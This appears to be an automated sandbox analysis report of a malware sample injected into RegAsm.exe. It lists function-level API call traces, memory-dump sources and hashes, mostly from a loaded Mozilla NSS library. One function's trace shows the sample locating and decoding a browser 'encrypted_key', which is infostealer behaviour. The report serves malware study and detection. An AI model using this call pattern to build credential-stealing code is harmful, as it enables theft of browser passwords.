API ID: K11_$Util$DigestError$ContextItem_$AlgorithmAlloc_BeginCompareCreateDecodeDestroyFinalFreeInteger_Tag_free
String ID:
API String ID: 2108637330-0
Opcode ID: 18aaaeeb8b0d5d5e37288ad6ddbac7b1a6eff7b8bd178e3bb96e810892796665
Instruction ID: 741079df2949ff095f7f63b20b3310de0ba9987f5f77011393ba56751fcaa884
Opcode Fuzzy Hash: 18aaaeeb8b0d5d5e37288ad6ddbac7b1a6eff7b8bd178e3bb96e810892796665
Instruction Fuzzy Hash: 5FA1D4B551C20A9BEB009A24CCC5B6F72E5DB8130DF244A39FE19CAE81E775D8498753

Function 6C1DAEC0 Relevance: 24.3, APIs: 16, Instructions: 272threadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6C1BAB95,00000000,?,00000000,00000000,00000000), ref: 6C1DAF25
EnterCriticalSection.KERNEL32(?,?,?,?,6C1BAB95,00000000,?,00000000,00000000,00000000), ref: 6C1DAF39
PR_Unlock.NSS3(?,?,?,6C1BAB95,00000000,?,00000000,00000000,00000000), ref: 6C1DAF51
PR_SetError.NSS3(FFFFE041,00000000,?,?,?,6C1BAB95,00000000,?,00000000,00000000,00000000), ref: 6C1DAF69
TlsGetValue.KERNEL32 ref: 6C1DB06B
EnterCriticalSection.KERNEL32(?), ref: 6C1DB083
PR_Unlock.NSS3(?), ref: 6C1DB0A4
TlsGetValue.KERNEL32 ref: 6C1DB0C1
EnterCriticalSection.KERNEL32(00000000), ref: 6C1DB0D9
PR_Unlock.NSS3 ref: 6C1DB102
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C1DB151
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C1DB182

Part of subcall function 6C20FAB0: free.MOZGLUE(?,-00000001,?,?,6C1AF673,00000000,00000000), ref: 6C20FAC7

PR_SetError.NSS3(FFFFE08A,00000000), ref: 6C1DB177

Part of subcall function 6C25C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C25C2BF

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,6C1BAB95,00000000,?,00000000,00000000,00000000), ref: 6C1DB1A2
PR_GetCurrentThread.NSS3(?,?,?,?,6C1BAB95,00000000,?,00000000,00000000,00000000), ref: 6C1DB1AA
PR_SetError.NSS3(FFFFE018,00000000,?,?,?,?,6C1BAB95,00000000,?,00000000,00000000,00000000), ref: 6C1DB1C2

Part of subcall function 6C201560: TlsGetValue.KERNEL32(00000000,?,6C1D0844,?), ref: 6C20157A
Part of subcall function 6C201560: EnterCriticalSection.KERNEL32(?,?,?,6C1D0844,?), ref: 6C20158F
Part of subcall function 6C201560: PR_Unlock.NSS3(?,?,?,?,6C1D0844,?), ref: 6C2015B2

Memory Dump Source

Source File: 00000003.00000002.3344629955.000000006C131000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C130000, based on PE: true

Associated: 00000003.00000002.3343533373.000000006C130000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3354458138.000000006C2CF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3356578029.000000006C30E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3357896540.000000006C30F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3359639902.000000006C310000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3361326397.000000006C315000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c130000_RegAsm.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlock$ErrorItem_UtilZfree$CurrentThreadfree
String ID:
API String ID: 4188828017-0
Opcode ID: 3fb1209df5352c3cde145b871e452d0a10d6e9e0760f131294b57b6a784c219e
Instruction ID: b60962c60b8c7a7bd8f9c6a4ed7e70390cb83fa07739d476cb68e34768c55db9
Opcode Fuzzy Hash: 3fb1209df5352c3cde145b871e452d0a10d6e9e0760f131294b57b6a784c219e
Instruction Fuzzy Hash: F0A1C0B5E00209AFEF009F64DC81BEEB7B4AF15308F154125EC05A7751E735E999CBA2

Function 004157D6 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 188stringCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0041580E
_memset.LIBCMT ref: 0041581F

Part of subcall function 00411DBC: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,?), ref: 00411DFD

lstrcatA.KERNEL32(?,00000000,?,?,?,?,?,?), ref: 0041584A
lstrcatA.KERNEL32(?,?,?,?,?,?,?), ref: 00415868
lstrcatA.KERNEL32(?,?,?,?,?,?,?,?), ref: 0041587C
lstrcatA.KERNEL32(?,?,?,?,?,?,?), ref: 0041588F

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,00417044,004366C7,?,?,?,?,00418558), ref: 0041050D

Part of subcall function 00411D92: GetFileAttributesA.KERNEL32(?,?,?,0040DA7F,?,?,?), ref: 00411D99

Part of subcall function 0040819F: StrStrA.SHLWAPI(00000000,"encrypted_key":",?,?,?,?,?,?,0040CC90,?,?), ref: 004081E5

Part of subcall function 00407FAC: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,?,?,?,0040E756,?,?,?), ref: 00407FC7
Part of subcall function 00407FAC: GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,0040E756,?,?,?), ref: 00407FDE
Part of subcall function 00407FAC: LocalAlloc.KERNEL32(00000040,?,?,?,?,?,0040E756,?,?,?), ref: 00407FF5
Part of subcall function 00407FAC: ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,0040E756,?,?,?), ref: 0040800C
Part of subcall function 00407FAC: CloseHandle.KERNEL32(?,?,?,?,?,0040E756,?,?,?), ref: 00408034

Part of subcall function 004121E7: GlobalAlloc.KERNEL32(00000000,?,?,?,?,?,00415925,?), ref: 004121F2

StrStrA.SHLWAPI(00000000), ref: 00415933
GlobalFree.KERNEL32(?), ref: 00415A55

Part of subcall function 00408048: CryptStringToBinaryA.CRYPT32($g@,00000000,00000001,00000000,?,00000000,00000000), ref: 00408060
Part of subcall function 00408048: LocalAlloc.KERNEL32(00000040,?,?,?,00406724,?), ref: 0040806E
Part of subcall function 00408048: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,?,00000000,00000000), ref: 00408084
Part of subcall function 00408048: LocalFree.KERNEL32(?,?,?,00406724,?), ref: 00408093

lstrcatA.KERNEL32(?,00000000), ref: 004159E1
StrCmpCA.SHLWAPI(?,00436645), ref: 004159FE
lstrcatA.KERNEL32(?,?), ref: 00415A1D
lstrcatA.KERNEL32(?,00436A84), ref: 00415A2E

Strings

n\A, xrefs: 004157F5

Memory Dump Source

Source File: 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2974075662.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcat$File$AllocLocal$BinaryCryptFreeGlobalString_memset$AttributesCloseCreateFolderHandlePathReadSizelstrcpy
String ID: n\A
API String ID: 4109952398-2866633830
Opcode ID: 30b79bb67abf9d5d79c814ac0e0c67dda69aa1842f82ae69836adc9e434d7f49
Instruction ID: aab4dfdc135e43e6bda5853d7922828100d75f7f2cc13c40a66ad14c5bb7ae17
Opcode Fuzzy Hash: 30b79bb67abf9d5d79c814ac0e0c67dda69aa1842f82ae69836adc9e434d7f49
Instruction Fuzzy Hash: 1F714CB1D4022D9BDF20DF20DC45ACA77BABF88314F0405E6E908A3250EA369FA58F55

Function 6C22AD90 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 127COMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C22ADB1

Part of subcall function 6C20BE30: SECOID_FindOID_Util.NSS3(6C1C311B,00000000,?,6C1C311B,?), ref: 6C20BE44

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C22ADF4
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C22AE08

Part of subcall function 6C20B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C2E18D0,?), ref: 6C20B095

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C22AE25
PL_FreeArenaPool.NSS3 ref: 6C22AE63
PR_CallOnce.NSS3(6C312AA4,6C2112D0), ref: 6C22AE4D

Part of subcall function 6C134C70: TlsGetValue.KERNEL32(?,?,?,6C133921,6C3114E4,6C27CC70), ref: 6C134C97
Part of subcall function 6C134C70: EnterCriticalSection.KERNEL32(?,?,?,?,6C133921,6C3114E4,6C27CC70), ref: 6C134CB0
Part of subcall function 6C134C70: PR_Unlock.NSS3(?,?,?,?,?,6C133921,6C3114E4,6C27CC70), ref: 6C134CC9

SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C22AE93
PR_CallOnce.NSS3(6C312AA4,6C2112D0), ref: 6C22AECC
PL_FreeArenaPool.NSS3 ref: 6C22AEDE
PL_FinishArenaPool.NSS3 ref: 6C22AEE6
PR_SetError.NSS3(FFFFD004,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C22AEF5
PL_FinishArenaPool.NSS3 ref: 6C22AF16

Strings

security, xrefs: 6C22ADEE

Memory Dump Source

Source File: 00000003.00000002.3344629955.000000006C131000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C130000, based on PE: true

Associated: 00000003.00000002.3343533373.000000006C130000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3354458138.000000006C2CF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3356578029.000000006C30E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3357896540.000000006C30F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3359639902.000000006C310000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3361326397.000000006C315000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c130000_RegAsm.jbxd

Similarity

API ID: ArenaPool$Util$AlgorithmCallErrorFinishFreeOnceTag_$CriticalDecodeDestroyEnterFindInitItem_PublicQuickSectionUnlockValue
String ID: security
API String ID: 3441714441-3315324353
Opcode ID: 2ccf83bf257458f7cd71e6770d237a74893391dac3dfeb62ea14533aad0be9cc
Instruction ID: 0bd4aec16accabdcd1a82d5263985c920852e655d8ddf1054b4495264bbd73dc
Opcode Fuzzy Hash: 2ccf83bf257458f7cd71e6770d237a74893391dac3dfeb62ea14533aad0be9cc
Instruction Fuzzy Hash: E04148B190421DEBE7215B189C85BAB72E8AF5271DF100535FD1492F41FB3E9509CAD3

Function 6C2CAF70 Relevance: 22.7, APIs: 15, Instructions: 221threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C279890: TlsGetValue.KERNEL32(?,?,?,6C2797EB), ref: 6C27989E

EnterCriticalSection.KERNEL32(?), ref: 6C2CAF88
_PR_MD_NOTIFYALL_CV.NSS3(?), ref: 6C2CAFCE
PR_SetPollableEvent.NSS3(?), ref: 6C2CAFD9
EnterCriticalSection.KERNEL32(?), ref: 6C2CAFEF
_PR_MD_NOTIFY_CV.NSS3(?), ref: 6C2CB00F
_PR_MD_UNLOCK.NSS3(?), ref: 6C2CB02F
_PR_MD_UNLOCK.NSS3(?), ref: 6C2CB070
PR_JoinThread.NSS3(?), ref: 6C2CB07B
free.MOZGLUE(?), ref: 6C2CB084
EnterCriticalSection.KERNEL32(?), ref: 6C2CB09B
_PR_MD_UNLOCK.NSS3(?), ref: 6C2CB0C4
PR_JoinThread.NSS3(?), ref: 6C2CB0F3
free.MOZGLUE(?), ref: 6C2CB0FC
PR_JoinThread.NSS3(?), ref: 6C2CB137
free.MOZGLUE(?), ref: 6C2CB140

Memory Dump Source

Source File: 00000003.00000002.3344629955.000000006C131000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C130000, based on PE: true

Associated: 00000003.00000002.3343533373.000000006C130000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3354458138.000000006C2CF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3356578029.000000006C30E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3357896540.000000006C30F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3359639902.000000006C310000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3361326397.000000006C315000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c130000_RegAsm.jbxd

Similarity

API ID: CriticalEnterJoinSectionThreadfree$EventPollableValue
String ID:
API String ID: 235599594-0
Opcode ID: 54e940e359137df6ca03dfe45598a973cdb3ffb01f7455fab7edbc77ad1190dd
Instruction ID: 8666bd651beb008ae45cd3493cbcd32949e226646c40a24ad017721fc34d2bd7
Opcode Fuzzy Hash: 54e940e359137df6ca03dfe45598a973cdb3ffb01f7455fab7edbc77ad1190dd
Instruction Fuzzy Hash: 64919FB5A00609CFCB50DF14D884946BBF1FF453197298669DC195BB22E732FC45CB92

Function 6C1C8DE0 Relevance: 22.7, APIs: 15, Instructions: 173memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?), ref: 6C1C8E22
EnterCriticalSection.KERNEL32(?), ref: 6C1C8E36
memset.VCRUNTIME140(?,00000000,?), ref: 6C1C8E4F
calloc.MOZGLUE(00000001,?,?,?), ref: 6C1C8E78
memcpy.VCRUNTIME140(-00000008,?,?), ref: 6C1C8E9B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C1C8EAC
PL_ArenaAllocate.NSS3(?,?), ref: 6C1C8EDE
memcpy.VCRUNTIME140(-00000008,?,?), ref: 6C1C8EF0
memset.VCRUNTIME140(?,00000000,?), ref: 6C1C8F00
free.MOZGLUE(?), ref: 6C1C8F0E
memcpy.VCRUNTIME140(?,?,?), ref: 6C1C8F39
memset.VCRUNTIME140(?,00000000,?), ref: 6C1C8F4A
memset.VCRUNTIME140(?,00000000,?), ref: 6C1C8F5B
PR_Unlock.NSS3(?), ref: 6C1C8F72
PR_Unlock.NSS3(?), ref: 6C1C8F82

Memory Dump Source

Source File: 00000003.00000002.3344629955.000000006C131000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C130000, based on PE: true

Associated: 00000003.00000002.3343533373.000000006C130000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3354458138.000000006C2CF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3356578029.000000006C30E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3357896540.000000006C30F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3359639902.000000006C310000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3361326397.000000006C315000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c130000_RegAsm.jbxd

Similarity

API ID: memset$memcpy$Unlock$AllocateArenaCriticalEnterSectionValuecallocfree
String ID:
API String ID: 1569127702-0
Opcode ID: fd6e742dcae8c8e8f38eeeec9485a309c0e6f274aaa7b7f893faa16d6df81bc7
Instruction ID: 5ecc60fb98d490c37413b36e0ccd2907f883f3dda3ec4026e9ddb484ca34a4dd
Opcode Fuzzy Hash: fd6e742dcae8c8e8f38eeeec9485a309c0e6f274aaa7b7f893faa16d6df81bc7
Instruction Fuzzy Hash: F751C1B2B002159FE7009E68CC8596EB7B9EF65758B15412AFC089B700E735ED45C7E2

Function 6C2C0FF0 Relevance: 22.6, APIs: 15, Instructions: 92COMMON

Download Yara Rule

APIs

PR_Lock.NSS3(?), ref: 6C2C1000

Part of subcall function 6C279BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6C1A1A48), ref: 6C279BB3
Part of subcall function 6C279BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6C1A1A48), ref: 6C279BC8

PR_SetError.NSS3(FFFFE8D5,00000000), ref: 6C2C1016

Part of subcall function 6C25C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C25C2BF

PR_Unlock.NSS3(?), ref: 6C2C1021

Part of subcall function 6C25DD70: TlsGetValue.KERNEL32 ref: 6C25DD8C
Part of subcall function 6C25DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C25DDB4

PR_SetError.NSS3(FFFFE89D,00000000), ref: 6C2C1046
PR_Unlock.NSS3(?), ref: 6C2C106B
PR_Lock.NSS3 ref: 6C2C1079
PR_Unlock.NSS3 ref: 6C2C1096
free.MOZGLUE(?), ref: 6C2C10A7
free.MOZGLUE(?), ref: 6C2C10B4
PR_DestroyCondVar.NSS3(?), ref: 6C2C10BF
PR_DestroyCondVar.NSS3(?), ref: 6C2C10CA
PR_DestroyCondVar.NSS3(?), ref: 6C2C10D5
PR_DestroyCondVar.NSS3(?), ref: 6C2C10E0
PR_DestroyLock.NSS3(?), ref: 6C2C10EB
free.MOZGLUE(?), ref: 6C2C1105

Memory Dump Source

Source File: 00000003.00000002.3344629955.000000006C131000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C130000, based on PE: true

Associated: 00000003.00000002.3343533373.000000006C130000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3354458138.000000006C2CF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3356578029.000000006C30E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3357896540.000000006C30F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3359639902.000000006C310000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3361326397.000000006C315000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c130000_RegAsm.jbxd

Similarity

API ID: Destroy$Cond$LockUnlockValuefree$CriticalErrorSection$EnterLeave
String ID:
API String ID: 8544004-0
Opcode ID: 489d89b5726de011d798ad2bb628662b53391b61dbae052fa12007e01759d397
Instruction ID: 021e4a34dfe95944eef67380aca809670982fdb4f4240886c7dea2a685fb50ae
Opcode Fuzzy Hash: 489d89b5726de011d798ad2bb628662b53391b61dbae052fa12007e01759d397
Instruction Fuzzy Hash: CA318DBAA00506ABD701AF14ED42A45B775FF01319B584235EC0952F61EB32F9B8EBD3

Function 6C1FEDD0 Relevance: 21.2, APIs: 14, Instructions: 239memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(?), ref: 6C1FEE0B

Part of subcall function 6C210BE0: malloc.MOZGLUE(6C208D2D,?,00000000,?), ref: 6C210BF8
Part of subcall function 6C210BE0: TlsGetValue.KERNEL32(6C208D2D,?,00000000,?), ref: 6C210C15

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C1FEEE1

Part of subcall function 6C1F1D50: TlsGetValue.KERNEL32(00000000,-00000018), ref: 6C1F1D7E
Part of subcall function 6C1F1D50: EnterCriticalSection.KERNEL32(?), ref: 6C1F1D8E
Part of subcall function 6C1F1D50: PR_Unlock.NSS3(?), ref: 6C1F1DD3

TlsGetValue.KERNEL32 ref: 6C1FEE51
EnterCriticalSection.KERNEL32(?), ref: 6C1FEE65
PR_Unlock.NSS3(?), ref: 6C1FEEA2
free.MOZGLUE(?), ref: 6C1FEEBB
PR_SetError.NSS3(00000000,00000000), ref: 6C1FEED0
PR_Unlock.NSS3(?), ref: 6C1FEF48
free.MOZGLUE(?), ref: 6C1FEF68
PR_SetError.NSS3(00000000,00000000), ref: 6C1FEF7D
PK11_DoesMechanism.NSS3(?,?), ref: 6C1FEFA4
free.MOZGLUE(?), ref: 6C1FEFDA
PR_SetError.NSS3(FFFFE040,00000000), ref: 6C1FF055
free.MOZGLUE(?), ref: 6C1FF060

Memory Dump Source

Source File: 00000003.00000002.3344629955.000000006C131000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C130000, based on PE: true

Associated: 00000003.00000002.3343533373.000000006C130000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3354458138.000000006C2CF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3356578029.000000006C30E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3357896540.000000006C30F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3359639902.000000006C310000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3361326397.000000006C315000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c130000_RegAsm.jbxd

Similarity

API ID: Errorfree$UnlockValue$CriticalEnterSection$Alloc_DoesK11_MechanismUtilmalloc
String ID:
API String ID: 2524771861-0
Opcode ID: a97262445d30250b8087d644e3bcb8ee07c51ece4ce5d6754493056f2ba5e924
Instruction ID: a6570cf3215e65d0132a10a11c5500eebb99036334c723481ef99bce58238073
Opcode Fuzzy Hash: a97262445d30250b8087d644e3bcb8ee07c51ece4ce5d6754493056f2ba5e924
Instruction Fuzzy Hash: 588170B5A002099FEB00DF65EC85BDE7BF9BF18318F150025ED19A3611E731EA65CBA1

Function 6C1C4CF0 Relevance: 21.2, APIs: 14, Instructions: 237memoryCOMMON

Download Yara Rule

APIs

PK11_SignatureLen.NSS3(?), ref: 6C1C4D80
PORT_Alloc_Util.NSS3(00000000), ref: 6C1C4D95
PORT_NewArena_Util.NSS3(00000800), ref: 6C1C4DF2
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C1C4E2C
PR_SetError.NSS3(FFFFE028,00000000), ref: 6C1C4E43
PORT_NewArena_Util.NSS3(00000800), ref: 6C1C4E58
SGN_CreateDigestInfo_Util.NSS3(00000001,?,?), ref: 6C1C4E85
DER_Encode_Util.NSS3(?,?,6C3105A4,00000000), ref: 6C1C4EA7
PK11_SignWithMechanism.NSS3(?,-00000001,00000000,?,?), ref: 6C1C4F17
DSAU_EncodeDerSigWithLen.NSS3(?,?,?), ref: 6C1C4F45
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C1C4F62
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6C1C4F7A
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C1C4F89
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C1C4FC8

Memory Dump Source

Source File: 00000003.00000002.3344629955.000000006C131000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C130000, based on PE: true

Associated: 00000003.00000002.3343533373.000000006C130000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3354458138.000000006C2CF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3356578029.000000006C30E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3357896540.000000006C30F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3359639902.000000006C310000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3361326397.000000006C315000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c130000_RegAsm.jbxd

Similarity

API ID: Util$Arena_$ErrorFreeItem_K11_WithZfree$Alloc_CreateDigestEncodeEncode_Info_MechanismSignSignature
String ID:
API String ID: 2843999940-0
Opcode ID: 29849e442ba5ce3f7239484be89fb0ef591ea4157dea4e70b955ce18beb00c71
Instruction ID: e8a221224db8ec3f21802aa8ec3f8ecc8521469f2b9a5aa8d5936532811fe0fd
Opcode Fuzzy Hash: 29849e442ba5ce3f7239484be89fb0ef591ea4157dea4e70b955ce18beb00c71
Instruction Fuzzy Hash: AC81B271A0C3019FE701CF28D840B6BB7E4ABA4758F15856DF958DBA41E738E904CB93

Function 6C1F8F40 Relevance: 21.2, APIs: 14, Instructions: 179memoryCOMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(6C1F9582), ref: 6C1F8F5B

Part of subcall function 6C20BE30: SECOID_FindOID_Util.NSS3(6C1C311B,00000000,?,6C1C311B,?), ref: 6C20BE44

PORT_NewArena_Util.NSS3(00000800), ref: 6C1F8F6A

Part of subcall function 6C210FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C1B87ED,00000800,6C1AEF74,00000000), ref: 6C211000
Part of subcall function 6C210FF0: PR_NewLock.NSS3(?,00000800,6C1AEF74,00000000), ref: 6C211016
Part of subcall function 6C210FF0: PL_InitArenaPool.NSS3(00000000,security,6C1B87ED,00000008,?,00000800,6C1AEF74,00000000), ref: 6C21102B

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C1F8FC3
PK11_GetIVLength.NSS3(-00000001), ref: 6C1F8FE0
SEC_ASN1DecodeItem_Util.NSS3(?,?,6C2DD820,6C1F9576), ref: 6C1F8FF9
DER_GetInteger_Util.NSS3(?), ref: 6C1F901D
PORT_ZAlloc_Util.NSS3(?), ref: 6C1F903E
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C1F9062
memcpy.VCRUNTIME140(00000024,?,?), ref: 6C1F90A2
PORT_ZAlloc_Util.NSS3(?), ref: 6C1F90CA
memcpy.VCRUNTIME140(00000018,?,?), ref: 6C1F90F0
PR_SetError.NSS3(FFFFE006,00000000), ref: 6C1F912D
free.MOZGLUE(00000000), ref: 6C1F9136
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6C1F9145

Memory Dump Source

Source File: 00000003.00000002.3344629955.000000006C131000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C130000, based on PE: true

Associated: 00000003.00000002.3343533373.000000006C130000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3354458138.000000006C2CF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3356578029.000000006C30E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3357896540.000000006C30F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3359639902.000000006C310000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3361326397.000000006C315000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c130000_RegAsm.jbxd

Similarity

API ID: Util$Tag_$AlgorithmAlloc_Arena_Findmemcpy$ArenaDecodeErrorFreeInitInteger_Item_K11_LengthLockPoolcallocfree
String ID:
API String ID: 3626836424-0
Opcode ID: d1011db7d26b0053ae4768bb29e748a2b520a06ebc6d2073ccc16c70fd7791fc
Instruction ID: 4204162b1bbe23205adc5519f3518b74279f09bba11db31914226b2d3bfb1ae0
Opcode Fuzzy Hash: d1011db7d26b0053ae4768bb29e748a2b520a06ebc6d2073ccc16c70fd7791fc
Instruction Fuzzy Hash: D951F3B2A082009BE700DF29DC81B97B7E8EF95328F054579ED64C7741E735E94ACB92

Function 6C1E2DD0 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_InitPIN), ref: 6C1E2DF6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C1E2E24
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C1E2E33

Part of subcall function 6C2CD930: PL_strncpyz.NSS3(?,?,?), ref: 6C2CD963

PR_LogPrint.NSS3(?,00000000), ref: 6C1E2E49
PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6C1E2E68
PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6C1E2E81

Strings

hSession = 0x%x, xrefs: 6C1E2E0E, 6C1E2E1E
(CK_INVALID_HANDLE), xrefs: 6C1E2E2C
n,l, xrefs: 6C1E2E99, 6C1E2EC4
ulPinLen = %d, xrefs: 6C1E2E7C
pPin = 0x%p, xrefs: 6C1E2E63
C_InitPIN, xrefs: 6C1E2DF1

Memory Dump Source

Source File: 00000003.00000002.3344629955.000000006C131000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C130000, based on PE: true

